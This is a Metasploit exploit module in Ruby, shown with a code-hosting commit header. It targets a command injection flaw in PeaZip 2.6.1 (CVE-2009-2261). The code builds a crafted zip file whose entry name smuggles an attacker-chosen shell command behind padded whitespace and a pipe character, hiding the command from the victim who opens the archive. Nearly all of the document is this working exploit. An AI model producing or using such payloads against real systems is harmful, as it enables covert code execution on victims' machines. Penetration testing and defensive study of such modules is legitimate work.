910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
97 lines
2.3 KiB
Ruby
97 lines
2.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/zip'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PeaZip <= 2.6.1 Zip Processing Command Injection',
|
|
'Description' => %q{
|
|
This module exploits a command injection vulnerability in PeaZip. All
|
|
versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
|
|
version 2.6.1 on Windows.
|
|
|
|
In order for the command to be executed, an attacker must convince someone to
|
|
open a specially crafted zip file with PeaZip, and access the specially file via
|
|
double-clicking it. By doing so, an attacker can execute arbitrary commands
|
|
as the victim user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Nine:Situations:Group::pyrokinesis',
|
|
'jduck'
|
|
],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-2261' ],
|
|
[ 'OSVDB', '54966' ],
|
|
[ 'URL', 'http://peazip.sourceforge.net/' ],
|
|
[ 'EDB', '8881' ]
|
|
],
|
|
'Platform' => ['unix', 'win', 'linux'],
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => '',
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Automatic', { }],
|
|
],
|
|
'DisclosureDate' => 'Jun 05 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
# NOTE: using a command line containing / or \ will result in the command
|
|
# being easily visible to the victim
|
|
cmd = datastore['CMD']
|
|
|
|
fname = "README.TXT"
|
|
rest = "\"|#{cmd}|.txt"
|
|
fname << " " * (255 - fname.length - rest.length)
|
|
fname << rest
|
|
|
|
content = rand_text_alphanumeric(rand(1024))
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
zip.add_file(fname, content)
|
|
|
|
# Create the file
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
|
|
|
file_create(zip.pack)
|
|
end
|
|
|
|
end
|